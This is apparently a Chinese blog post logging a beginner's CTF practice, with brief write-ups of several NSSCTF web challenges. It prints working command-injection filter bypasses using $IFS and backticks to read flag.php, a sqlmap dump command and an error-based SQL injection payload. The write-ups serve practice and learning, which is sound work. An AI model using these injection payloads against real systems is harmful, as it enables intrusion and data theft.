昨天感觉左眼蒙上了一层黑雾，视野还收缩到只能看到中间一半，哈人，遂决定每日早睡早起。
[NSSCTF 2022 Spring Recruit]ezgame
游戏题，看js文件就可以了。
[LitCTF 2023]Follow me and hack me
如图，get加post就是了，彩蛋应该是当时这个比赛的某个flag组成题
彩蛋直接看的别的师傅wp:
[GXYCTF 2019]Ping Ping Ping
命令执行漏洞，这里需要加上命令执行符号，|,;,&这些符号弄懂了就很好做了，这里还禁止了空格，看过前几集的朋友相信很快就能想到绕过方法
还是附上相关博客:(键盘X 键坏了真烦，每次要用到的时候还得去笔记本键盘上按一下。)
命令执行RCE各种绕过合集_shell ;过滤绕过-CSDN博客
这里测试看出来flag和其他很多符号被禁用了，但是$IFS还是可用的
稳一点你可以读index.php，懒一点我就直接cat 了
还是附上index.php内容，观察发现了他没有禁止``
那么我们可以直接用cat$lFS`ls`，这里ls会因为反引号执行，回显flag.php 和index.php，而这个执行是在通过过滤后才执行的，而我们的命令也因为通过了过滤，在最后就变为了
cat flag.php cat index.php
第二个方法:这里并没有禁止| 和 - 所以这里的base64编码我们也可以使用，具体步骤可以参考我刚才给出的链接.
第三步：利用$的拼接手段，因为$并没有被禁止，所以我们可用利用get特性，这一点后面有国赛题会用到这一知识，形式很简单，具体原因我没深究= =以后遇到再说拉。
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php
[LitCTF 2023]Ping
这里直接禁用了字母和数字，两种手段
一是这里f12看到他用的javascript，浏览器是可以禁用js的，具体步骤自己搜，然后直接传就是了
第二个是看到是post的command
于是直接post数据，因为js只是过滤了你输入框的内容，能管你post现阶段接触过的也就php函数。
然后就命令一把嗦，你要是burp就更简单了，抓包直接传，你都没感觉到这道题有什么阻碍。
[SWPUCTF 2021 新生赛]error
报错注入 SQL注入 双写后缀
f12看到:
不必多言，sqlmap启动
sqlmap -u http://node4.anna.nssctf.cn:28452/index.php?id= -D test_db -T test_tb -C flag --dump
sqlmap的payload:
id=' AND (SELECT 2546 FROM(SELECT COUNT(*),CONCAT(0x7176786271,(SELECT (ELT(2546=2546,1))),0x716a787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
手注记得前面加1后面加#什么的.这里我就不费过多时间手注测试一下了。
[LitCTF 2023]1zjs
js题，这里flag这些搜索过了之后搜php，看到提示
访问看到，发现是jsfuck编码，以后还要barinfuck和phpfuck，Ook什么的，很多就是了。
搜个在线网站解码就是了:
CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法
这里去掉[]，交上去就是了 ,丢word替换一下很快的。
等会开会去了，晚点估计更一波其他内容。
这里是很菜的WL。
感谢你的收看，希望能够帮到你.
那么我们下一集再见！
标签：复健,index,这里,day6,Ping,JSfuck,flag,php,刷题 From： https://blog.csdn.net/SSDZLDL/article/details/136985968